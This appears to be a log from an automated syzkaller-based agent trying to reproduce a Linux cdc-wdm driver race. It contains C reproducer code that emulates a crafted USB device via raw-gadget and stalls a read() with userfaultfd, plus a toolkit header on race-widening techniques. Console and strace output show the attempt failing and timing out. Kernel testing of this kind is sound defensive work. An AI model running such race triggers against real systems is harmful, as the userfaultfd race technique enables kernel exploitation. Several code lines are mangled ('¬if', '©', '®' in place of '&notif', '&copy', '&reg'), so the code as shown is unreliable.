// Wait for wdm_rxwork to start and submit the URB
usleep(200000);
printf("[+] Resolving userfaultfd to finish read()...\n");
event_set(&resolve_uffd);
return NULL;
}
void *uffd_thread(void *arg) {
int uffd = (int)(long)arg;
struct uffd_msg msg;
if (read(uffd, &msg, sizeof(msg)) != sizeof(msg)) {
perror("read uffd");
exit(1);
}
if (msg.event == UFFD_EVENT_PAGEFAULT) {
printf("[+] Page fault detected in read() buffer.\n");
event_set(&read_blocked);
event_wait(&resolve_uffd);
struct uffdio_copy copy;
char page[4096];
memset(page, 0, sizeof(page));
copy.src = (uintptr_t)page;
copy.dst = msg.arg.pagefault.address & ~(4095);
copy.len = 4096;
copy.mode = 0;
copy.copy = 0;
if (ioctl(uffd, UFFDIO_COPY, ©) < 0) {
perror("UFFDIO_COPY");
}
printf("[+] Page fault resolved.\n");
}
return NULL;
}
int main() {
SETUP_UNBUFFERED_IO();
event_init(&gadget_ready);
event_init(&read_blocked);
event_init(&resolve_uffd);
event_init(¬if2_sent);
pthread_t tid_gadget, tid_ep1, tid_uffd;
pthread_create(&tid_gadget, NULL, gadget_thread, NULL);
pthread_create(&tid_ep1, NULL, ep1_thread, NULL);
event_wait(&gadget_ready);
printf("[+] Waiting for /dev/cdc-wdmX to appear...\n");
usleep(500000);
char dev_path[64] = "/dev/cdc-wdm0";
int fd_wdm = -1;
for (int i = 0; i < 10; i++) {
sprintf(dev_path, "/dev/cdc-wdm%d", i);
fd_wdm = open(dev_path, O_RDWR);
if (fd_wdm >= 0) {
printf("[+] Opened %s\n", dev_path);
break;
}
}
if (fd_wdm < 0) {
sleep(1);
for (int i = 0; i < 10; i++) {
sprintf(dev_path, "/dev/cdc-wdm%d", i);
fd_wdm = open(dev_path, O_RDWR);
if (fd_wdm >= 0) {
printf("[+] Opened %s\n", dev_path);
break;
}
}
if (fd_wdm < 0) {
fprintf(stderr, "[-] Failed to open cdc-wdm device\n");
exit(1);
}
}
void *addr = mmap(NULL, 4096, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
if (addr == MAP_FAILED) {
perror("mmap");
exit(1);
}
int uffd = setup_uffd(addr, 4096);
if (uffd < 0) {
fprintf(stderr, "[-] Failed to setup uffd\n");
exit(1);
}
pthread_create(&tid_uffd, NULL, uffd_thread, (void *)(long)uffd);
printf("[+] Calling read() on %s...\n", dev_path);
int ret = read(fd_wdm, addr, 10);
if (ret < 0) {
perror("read fd_wdm");
} else {
printf("[+] read() returned %d\n", ret);
}
// Wait a bit for the WARNING to be printed
sleep(2);
printf("[+] Done.\n");
return 0;
}
```]
|
| 261/5 |
2026/09/11 23:01 |
action |
compile-c-prog |
0m
Results: map[CompilerError: FormattedReproC:// autogenerated by syzkaller (https://github.com/google/syzkaller)
#define _GNU_SOURCE
#include <endian.h>
#include <errno.h>
#include <fcntl.h>
#include <linux/usb/ch9.h>
#include <linux/userfaultfd.h>
#include <poll.h>
#include <pthread.h>
#include <sched.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <unistd.h>
// Copyright 2026 syzkaller project authors. All rights reserved.
// Use of this source code is governed by Apache 2 LICENSE that can be found in the LICENSE file.
// IMPORTANT: Do not copy the macros or definitions below directly into your reproducer.
// Instead, add the following line to your reproducer:
// #include "race_toolkit.h"
// --- Race Condition Toolkit ---
// Macros and snippets for CPU pinning, memory barriers, and userfaultfd.
#define _GNU_SOURCE
#include <errno.h>
#include <fcntl.h>
#include <linux/futex.h>
#include <linux/userfaultfd.h>
#include <poll.h>
#include <pthread.h>
#include <sched.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <sys/ioctl.h>
#include <sys/syscall.h>
#include <time.h>
#include <unistd.h>
// Unbuffered I/O: Ensure logs are written immediately.
#define SETUP_UNBUFFERED_IO() setvbuf(stdout, NULL, _IONBF, 0)
// CPU Pinning: Pin the current thread to a specific CPU core.
#define PIN_TO_CPU(cpu) \
do { \
cpu_set_t mask; \
CPU_ZERO(&mask); \
CPU_SET(cpu, &mask); \
if (sched_setaffinity(0, sizeof(mask), &mask) == -1) { \
perror("sched_setaffinity"); \
} \
} while (0)
// Memory Barrier: Ensure memory ordering.
#define MB() __atomic_thread_fence(__ATOMIC_SEQ_CST)
// Spin-wait Barrier: Wait until a memory location has a specific value.
// Best for tight race windows (low latency, no context switches).
#define WAIT_ON(addr, val) \
do { \
while (__atomic_load_n(addr, __ATOMIC_ACQUIRE) != (val)) \
; \
} while (0)
// Signal: Set a memory location to a specific value to release a WAIT_ON.
#define SIGNAL(addr, val) __atomic_store_n(addr, val, __ATOMIC_RELEASE)
// --- Timing Primitives ---
// Robust timing loops in VM environments (using CLOCK_MONOTONIC to avoid time(NULL) jumps).
static inline double timer_elapsed_sec(struct timespec* start)
{
struct timespec now;
if (clock_gettime(CLOCK_MONOTONIC, &now) == -1) {
perror("clock_gettime(CLOCK_MONOTONIC) elapsed");
exit(1);
}
return (double)(now.tv_sec - start->tv_sec) + (double)(now.tv_nsec - start->tv_nsec) / 1e9;
}
// Initialize a monotonic timer variable.
#define TIMER_START(t) \
struct timespec t; \
if (clock_gettime(CLOCK_MONOTONIC, &t) == -1) { \
perror("clock_gettime(CLOCK_MONOTONIC) start"); \
exit(1); \
}
// Check if the elapsed time since 't' is less than 'sec' seconds.
#define TIMER_NOT_EXPIRED(t, sec) (timer_elapsed_sec(&(t)) < (double)(sec))
// Futex-based Event: Shared with syzkaller executor.
// Best for general synchronization or longer waits to save CPU.
typedef struct {
int state;
} event_t;
static void event_init(event_t* ev)
{
ev->state = 0;
}
static void event_reset(event_t* ev)
{
ev->state = 0;
}
static void event_set(event_t* ev)
{
if (__atomic_load_n(&ev->state, __ATOMIC_ACQUIRE)) {
fprintf(stderr, "event already set\n");
exit(1);
}
__atomic_store_n(&ev->state, 1, __ATOMIC_RELEASE);
syscall(SYS_futex, &ev->state, FUTEX_WAKE | FUTEX_PRIVATE_FLAG, 1000000);
}
static void event_wait(event_t* ev)
{
while (!__atomic_load_n(&ev->state, __ATOMIC_ACQUIRE))
syscall(SYS_futex, &ev->state, FUTEX_WAIT | FUTEX_PRIVATE_FLAG, 0, 0);
}
// userfaultfd setup: Register a memory range for page fault handling.
static int setup_uffd(void* addr, size_t len)
{
int uffd = syscall(__NR_userfaultfd, O_CLOEXEC | O_NONBLOCK);
if (uffd == -1)
return -1;
struct uffdio_api api = {.api = UFFD_API, .features = 0};
if (ioctl(uffd, UFFDIO_API, &api) == -1) {
close(uffd);
return -1;
}
struct uffdio_register reg = {
.range = {.start = (uintptr_t)addr, .len = len},
.mode = UFFDIO_REGISTER_MODE_MISSING};
if (ioctl(uffd, UFFDIO_REGISTER, ®) == -1) {
close(uffd);
return -1;
}
return uffd;
}
// --- Guidance on Usage ---
// 1. Use WAIT_ON/SIGNAL for tight race conditions to avoid scheduling overhead.
// 2. Use event_t (futexes) for general coordination or when waiting for longer periods.
// 3. Always use PIN_TO_CPU to increase race probability on multi-core systems.
// 4. Use setup_uffd to register a memory range for page fault handling. This allows you to
// pause a thread accessing that memory until you handle the fault, creating a reliable
// and controllable race window.
// 5. Call SETUP_UNBUFFERED_IO() at the start of main() to ensure that logs are printed
// immediately. This is essential for understanding the exact interleaving of events
// when debugging race conditions.
// 6. For timing-based loops (e.g., running a race for 10 seconds), do NOT use time(NULL)
// or loops relying on real-time clocks, as VM clocks are highly unreliable and can fail or drift.
// Instead, use the robust monotonic timing primitives TIMER_START and TIMER_NOT_EXPIRED:
// TIMER_START(start);
// while (TIMER_NOT_EXPIRED(start, 10.0)) {
// // Your race logic here
// }
#ifndef cpu_to_le16
#if __BYTE_ORDER == __LITTLE_ENDIAN
#define cpu_to_le16(x) ((uint16_t)(x))
#else
#define cpu_to_le16(x) ((uint16_t)((((x) >> 8) & 0xffu) | (((x) & 0xffu) << 8)))
#endif
#endif
#define UDC_NAME_LENGTH_MAX 128
struct usb_raw_init {
__u8 driver_name[UDC_NAME_LENGTH_MAX];
__u8 device_name[UDC_NAME_LENGTH_MAX];
__u8 speed;
};
enum usb_raw_event_type {
USB_RAW_EVENT_INVALID = 0,
USB_RAW_EVENT_CONNECT = 1,
USB_RAW_EVENT_CONTROL = 2,
};
struct usb_raw_event {
__u32 type;
__u32 length;
__u8 data[64];
};
struct usb_raw_ep_io {
__u16 ep;
__u16 flags;
__u32 length;
__u8 data[256];
};
#define USB_RAW_IOCTL_INIT _IOW('U', 0, struct usb_raw_init)
#define USB_RAW_IOCTL_RUN _IO('U', 1)
#define USB_RAW_IOCTL_EVENT_FETCH _IOR('U', 2, struct usb_raw_event)
#define USB_RAW_IOCTL_EP0_WRITE _IOW('U', 3, struct usb_raw_ep_io)
#define USB_RAW_IOCTL_EP0_READ _IOWR('U', 4, struct usb_raw_ep_io)
#define USB_RAW_IOCTL_EP_ENABLE _IOW('U', 5, struct usb_endpoint_descriptor)
#define USB_RAW_IOCTL_EP_WRITE _IOW('U', 7, struct usb_raw_ep_io)
#define USB_RAW_IOCTL_CONFIGURE _IO('U', 9)
#define USB_RAW_IOCTL_EP0_STALL _IO('U', 12)
#define USB_RAW_IOCTL_EP_SET_HALT _IOW('U', 13, __u32)
struct usb_cdc_notification {
__u8 bmRequestType;
__u8 bNotificationType;
__le16 wValue;
__le16 wIndex;
__le16 wLength;
} __attribute__ ((packed));
struct usb_device_descriptor dev_desc = {
.bLength = sizeof(dev_desc),
.bDescriptorType = USB_DT_DEVICE,
.bcdUSB = cpu_to_le16(0x0200),
.bDeviceClass = 2,
.bDeviceSubClass = 0,
.bDeviceProtocol = 0,
.bMaxPacketSize0 = 64,
.idVendor = cpu_to_le16(0x0525),
.idProduct = cpu_to_le16(0xa4a7),
.bcdDevice = cpu_to_le16(0x0100),
.iManufacturer = 0,
.iProduct = 0,
.iSerialNumber = 0,
.bNumConfigurations = 1,
};
struct usb_cdc_header_desc {
__u8 bLength;
__u8 bDescriptorType;
__u8 bDescriptorSubType;
__le16 bcdCDC;
} __attribute__((packed));
struct {
struct usb_config_descriptor conf;
struct usb_interface_descriptor intf;
struct usb_cdc_header_desc cdc_hdr;
struct usb_endpoint_descriptor ep_in;
} __attribute__((packed)) conf_desc = {
.conf = {
.bLength = sizeof(conf_desc.conf),
.bDescriptorType = USB_DT_CONFIG,
.wTotalLength = cpu_to_le16(sizeof(conf_desc)),
.bNumInterfaces = 1,
.bConfigurationValue = 1,
.iConfiguration = 0,
.bmAttributes = USB_CONFIG_ATT_ONE | USB_CONFIG_ATT_SELFPOWER,
.bMaxPower = 50,
},
.intf = {
.bLength = sizeof(conf_desc.intf),
.bDescriptorType = USB_DT_INTERFACE,
.bInterfaceNumber = 0,
.bAlternateSetting = 0,
.bNumEndpoints = 1,
.bInterfaceClass = 2, // USB_CLASS_COMM
.bInterfaceSubClass = 9, // USB_CDC_SUBCLASS_DMM
.bInterfaceProtocol = 0,
.iInterface = 0,
},
.cdc_hdr = {
.bLength = sizeof(conf_desc.cdc_hdr),
.bDescriptorType = 0x24, // USB_DT_CS_INTERFACE
.bDescriptorSubType = 0x00, // USB_CDC_HEADER_TYPE
.bcdCDC = cpu_to_le16(0x0110),
},
.ep_in = {
.bLength = sizeof(conf_desc.ep_in),
.bDescriptorType = USB_DT_ENDPOINT,
.bEndpointAddress = 0x81, // EP1 IN
.bmAttributes = USB_ENDPOINT_XFER_INT,
.wMaxPacketSize = cpu_to_le16(64),
.bInterval = 1,
},
};
int fd_raw;
int ep_in = -1;
event_t gadget_ready;
event_t read_blocked;
event_t resolve_uffd;
event_t notif2_sent;
void setup_gadget() {
fd_raw = open("/dev/raw-gadget", O_RDWR);
if (fd_raw < 0) {
perror("open /dev/raw-gadget");
exit(1);
}
struct usb_raw_init init = {
.driver_name = "dummy_udc",
.device_name = "dummy_udc.0",
.speed = USB_SPEED_HIGH,
};
if (ioctl(fd_raw, USB_RAW_IOCTL_INIT, &init) < 0) {
perror("USB_RAW_IOCTL_INIT");
exit(1);
}
if (ioctl(fd_raw, USB_RAW_IOCTL_RUN, 0) < 0) {
perror("USB_RAW_IOCTL_RUN");
exit(1);
}
}
void *gadget_thread(void *arg) {
setup_gadget();
printf("[+] Gadget initialized and running.\n");
while (1) {
struct usb_raw_event event;
event.type = 0;
event.length = sizeof(event.data);
if (ioctl(fd_raw, USB_RAW_IOCTL_EVENT_FETCH, &event) < 0)
continue;
if (event.type == USB_RAW_EVENT_CONTROL) {
struct usb_ctrlrequest *req = (struct usb_ctrlrequest *)event.data;
struct usb_raw_ep_io io;
io.ep = 0;
io.flags = 0;
io.length = 0;
if (req->bRequestType & USB_DIR_IN) {
if (req->bRequest == USB_REQ_GET_DESCRIPTOR) {
if (req->wValue == (USB_DT_DEVICE << 8)) {
io.length = sizeof(dev_desc);
if (io.length > req->wLength) io.length = req->wLength;
memcpy(io.data, &dev_desc, io.length);
ioctl(fd_raw, USB_RAW_IOCTL_EP0_WRITE, &io);
} else if (req->wValue == (USB_DT_CONFIG << 8)) {
io.length = sizeof(conf_desc);
if (io.length > req->wLength) io.length = req->wLength;
memcpy(io.data, &conf_desc, io.length);
ioctl(fd_raw, USB_RAW_IOCTL_EP0_WRITE, &io);
} else {
ioctl(fd_raw, USB_RAW_IOCTL_EP0_STALL, 0);
}
} else if (req->bRequestType == 0xA1 && req->bRequest == 0x01) {
static int resp_count = 0;
if (resp_count == 0) {
printf("[+] Received first Control Read (0xA1 0x01), waiting for Notif 2...\n");
event_wait(¬if2_sent);
usleep(100000); // Give host time to process Notif 2
printf("[+] Responding to first Control Read.\n");
io.length = 10;
memset(io.data, 'A', 10);
if (io.length > req->wLength) io.length = req->wLength;
ioctl(fd_raw, USB_RAW_IOCTL_EP0_WRITE, &io);
resp_count++;
} else {
printf("[+] Received subsequent Control Read (0xA1 0x01), ignoring to hang URB.\n");
// Do nothing, let the host's URB hang active indefinitely
}
} else {
ioctl(fd_raw, USB_RAW_IOCTL_EP0_STALL, 0);
}
} else {
// OUT request or zero-length
if (req->bRequest == USB_REQ_SET_CONFIGURATION) {
io.length = req->wLength;
ioctl(fd_raw, USB_RAW_IOCTL_EP0_READ, &io);
ioctl(fd_raw, USB_RAW_IOCTL_CONFIGURE, 0);
ep_in = ioctl(fd_raw, USB_RAW_IOCTL_EP_ENABLE, &conf_desc.ep_in);
if (ep_in >= 0) {
printf("[+] Endpoint EP1 IN enabled (index %d).\n", ep_in);
if (!__atomic_load_n(&gadget_ready.state, __ATOMIC_ACQUIRE))
event_set(&gadget_ready);
} else {
printf("[-] Failed to enable EP1 IN\n");
}
} else {
io.length = req->wLength;
ioctl(fd_raw, USB_RAW_IOCTL_EP0_READ, &io);
}
}
}
}
return NULL;
}
void *ep1_thread(void *arg) {
event_wait(&gadget_ready);
usleep(200000); // Wait for host to fully enumerate and submit int urb
struct usb_cdc_notification notif = {
.bmRequestType = 0xA1,
.bNotificationType = 0x01, // USB_CDC_NOTIFY_RESPONSE_AVAILABLE
.wValue = 0,
.wIndex = 0,
.wLength = 0,
};
struct usb_raw_ep_io io_ep1;
io_ep1.ep = ep_in;
io_ep1.flags = 0;
io_ep1.length = sizeof(notif);
memcpy(io_ep1.data, ¬if, sizeof(notif));
printf("[+] Sending first notification on EP1...\n");
if (ioctl(fd_raw, USB_RAW_IOCTL_EP_WRITE, &io_ep1) < 0) {
perror("USB_RAW_IOCTL_EP_WRITE 1");
}
printf("[+] Sending second notification on EP1...\n");
if (ioctl(fd_raw, USB_RAW_IOCTL_EP_WRITE, &io_ep1) < 0) {
perror("USB_RAW_IOCTL_EP_WRITE 2");
}
printf("[+] Second notification sent.\n");
event_set(¬if2_sent);
printf("[+] Waiting for read() to block in userfaultfd...\n");
event_wait(&read_blocked);
printf("[+] Sending STALL on EP1 to trigger wdm_rxwork...\n");
if (ioctl(fd_raw, USB_RAW_IOCTL_EP_SET_HALT, ep_in) < 0) {
perror("USB_RAW_IOCTL_EP_SET_HALT");
}
// Wait for wdm_rxwork to start and submit the URB
usleep(200000);
printf("[+] Resolving userfaultfd to finish read()...\n");
event_set(&resolve_uffd);
return NULL;
}
void *uffd_thread(void *arg) {
int uffd = (int)(long)arg;
struct uffd_msg msg;
if (read(uffd, &msg, sizeof(msg)) != sizeof(msg)) {
perror("read uffd");
exit(1);
}
if (msg.event == UFFD_EVENT_PAGEFAULT) {
printf("[+] Page fault detected in read() buffer.\n");
event_set(&read_blocked);
event_wait(&resolve_uffd);
struct uffdio_copy copy;
char page[4096];
memset(page, 0, sizeof(page));
copy.src = (uintptr_t)page;
copy.dst = msg.arg.pagefault.address & ~(4095);
copy.len = 4096;
copy.mode = 0;
copy.copy = 0;
if (ioctl(uffd, UFFDIO_COPY, ©) < 0) {
perror("UFFDIO_COPY");
}
printf("[+] Page fault resolved.\n");
}
return NULL;
}
int main() {
SETUP_UNBUFFERED_IO();
event_init(&gadget_ready);
event_init(&read_blocked);
event_init(&resolve_uffd);
event_init(¬if2_sent);
pthread_t tid_gadget, tid_ep1, tid_uffd;
pthread_create(&tid_gadget, NULL, gadget_thread, NULL);
pthread_create(&tid_ep1, NULL, ep1_thread, NULL);
event_wait(&gadget_ready);
printf("[+] Waiting for /dev/cdc-wdmX to appear...\n");
usleep(500000);
char dev_path[64] = "/dev/cdc-wdm0";
int fd_wdm = -1;
for (int i = 0; i < 10; i++) {
sprintf(dev_path, "/dev/cdc-wdm%d", i);
fd_wdm = open(dev_path, O_RDWR);
if (fd_wdm >= 0) {
printf("[+] Opened %s\n", dev_path);
break;
}
}
if (fd_wdm < 0) {
sleep(1);
for (int i = 0; i < 10; i++) {
sprintf(dev_path, "/dev/cdc-wdm%d", i);
fd_wdm = open(dev_path, O_RDWR);
if (fd_wdm >= 0) {
printf("[+] Opened %s\n", dev_path);
break;
}
}
if (fd_wdm < 0) {
fprintf(stderr, "[-] Failed to open cdc-wdm device\n");
exit(1);
}
}
void *addr = mmap(NULL, 4096, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
if (addr == MAP_FAILED) {
perror("mmap");
exit(1);
}
int uffd = setup_uffd(addr, 4096);
if (uffd < 0) {
fprintf(stderr, "[-] Failed to setup uffd\n");
exit(1);
}
pthread_create(&tid_uffd, NULL, uffd_thread, (void *)(long)uffd);
printf("[+] Calling read() on %s...\n", dev_path);
int ret = read(fd_wdm, addr, 10);
if (ret < 0) {
perror("read fd_wdm");
} else {
printf("[+] read() returned %d\n", ret);
}
// Wait a bit for the WARNING to be printed
sleep(2);
printf("[+] Done.\n");
return 0;
}
]
|
| 262/5 |
2026/09/11 23:01 |
action |
If |
0m
Args:
|
| 263/3 |
2026/09/11 23:01 |
action |
run-c-repro |
7m
Results: map[CandidateBugTitle: CandidateCrashReport: CandidateReproduced:false ConsoleOutput:[ 61.300215][ T33] kauditd_printk_skb: 10 callbacks suppressed
[ 61.302541][ T33] audit: type=1400 audit(1789167759.671:201): avc: denied { transition } for pid=5826 comm="sshd-session" path="/bin/sh" dev="sda1" ino=90 scontext=system_u:system_r:sshd_t tcontext=root:sysadm_r:sysadm_t tclass=process permissive=1
[ 61.310106][ T33] audit: type=1400 audit(1789167759.671:202): avc: denied { noatsecure } for pid=5826 comm="sshd-session" scontext=system_u:system_r:sshd_t tcontext=root:sysadm_r:sysadm_t tclass=process permissive=1
[ 61.310130][ T33] audit: type=1400 audit(1789167759.671:203): avc: denied { rlimitinh } for pid=5826 comm="sh" scontext=system_u:system_r:sshd_t tcontext=root:sysadm_r:sysadm_t tclass=process permissive=1
[ 61.310144][ T33] audit: type=1400 audit(1789167759.671:204): avc: denied { siginh } for pid=5826 comm="sh" scontext=system_u:system_r:sshd_t tcontext=root:sysadm_r:sysadm_t tclass=process permissive=1
Warning: Permanently added '[localhost]:15750' (ED25519) to the list of known hosts.
[+] Gadget initialized and running.
[ 64.584694][ T33] audit: type=1400 audit(1789167762.961:205): avc: denied { read write } for pid=5838 comm="syz-executor333" name="raw-gadget" dev="devtmpfs" ino=824 scontext=root:sysadm_r:sysadm_t tcontext=system_u:object_r:device_t tclass=chr_file permissive=1
[ 64.596706][ T33] audit: type=1400 audit(1789167762.961:206): avc: denied { open } for pid=5838 comm="syz-executor333" path="/dev/raw-gadget" dev="devtmpfs" ino=824 scontext=root:sysadm_r:sysadm_t tcontext=system_u:object_r:device_t tclass=chr_file permissive=1
[ 64.604954][ T33] audit: type=1400 audit(1789167762.961:207): avc: denied { ioctl } for pid=5838 comm="syz-executor333" path="/dev/raw-gadget" dev="devtmpfs" ino=824 ioctlcmd=0x5500 scontext=root:sysadm_r:sysadm_t tcontext=system_u:object_r:device_t tclass=chr_file permissive=1
[ 64.854215][ T51] usb 1-1: new high-speed USB device number 2 using dummy_hcd
[ 65.336775][ T33] audit: type=1400 audit(1789167763.711:208): avc: denied { write } for pid=5844 comm="dhcpcd-run-hook" name="hook-state" dev="tmpfs" ino=1794 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=dir permissive=1
[ 65.381559][ T33] audit: type=1400 audit(1789167763.751:209): avc: denied { write } for pid=5847 comm="rm" name="hook-state" dev="tmpfs" ino=1794 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=dir permissive=1
[ 65.520239][ T33] audit: type=1400 audit(1789167763.891:210): avc: denied { write } for pid=5850 comm="dhcpcd-run-hook" name="hook-state" dev="tmpfs" ino=1794 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=dir permissive=1
[ 66.308929][ T33] kauditd_printk_skb: 12 callbacks suppressed
[ 66.308990][ T33] audit: type=1400 audit(1789167764.681:223): avc: denied { write } for pid=5889 comm="rm" name="hook-state" dev="tmpfs" ino=1794 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=dir permissive=1
[ 70.023783][ T51] usb 1-1: device descriptor read/64, error -110
[ 70.263781][ T51] usb 1-1: new high-speed USB device number 3 using dummy_hcd
[ 70.393895][ T51] usb 1-1: device descriptor read/64, error -32
[ 70.503964][ T51] usb usb1-port1: attempt power cycle
[ 70.793812][ T51] raw-gadget.0 gadget.0: failed to queue resume event
[ 70.853763][ T51] usb 1-1: new high-speed USB device number 4 using dummy_hcd
[ 70.873955][ C1] raw-gadget.0 gadget.0: ignoring, device is not running
[ 70.874090][ T51] usb 1-1: device descriptor read/8, error -32
[ 70.983832][ T51] raw-gadget.0 gadget.0: failed to queue suspend event
[ 70.984066][ T51] raw-gadget.0 gadget.0: failed to queue reset event
[ 71.053827][ T51] raw-gadget.0 gadget.0: failed to queue resume event
[ 71.113784][ T51] usb 1-1: new high-speed USB device number 5 using dummy_hcd
[ 71.133972][ C1] raw-gadget.0 gadget.0: ignoring, device is not running
[ 71.134086][ T51] usb 1-1: device descriptor read/8, error -32
[ 71.244674][ T51] raw-gadget.0 gadget.0: failed to queue suspend event
[ 71.244884][ T51] usb usb1-port1: unable to enumerate USB device
[ 71.574639][ T1381] ieee802154 phy0 wpan0: encryption failed: -22
[ 71.574715][ T1381] ieee802154 phy1 wpan1: encryption failed: -22
[ 76.684839][ T993] cfg80211: failed to load regulatory.db
[ 133.004763][ T1381] ieee802154 phy0 wpan0: encryption failed: -22
[ 133.004849][ T1381] ieee802154 phy1 wpan1: encryption failed: -22
[ 194.444740][ T1381] ieee802154 phy0 wpan0: encryption failed: -22
[ 194.444805][ T1381] ieee802154 phy1 wpan1: encryption failed: -22
[host] Command execution timed out after 2m30s
OtherCrashReports:<nil> StraceOutput:/strace -e \!wait4,clock_nanosleep,nanosleep -s 100 -x -f /syz-executor1577520098
<...>
)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
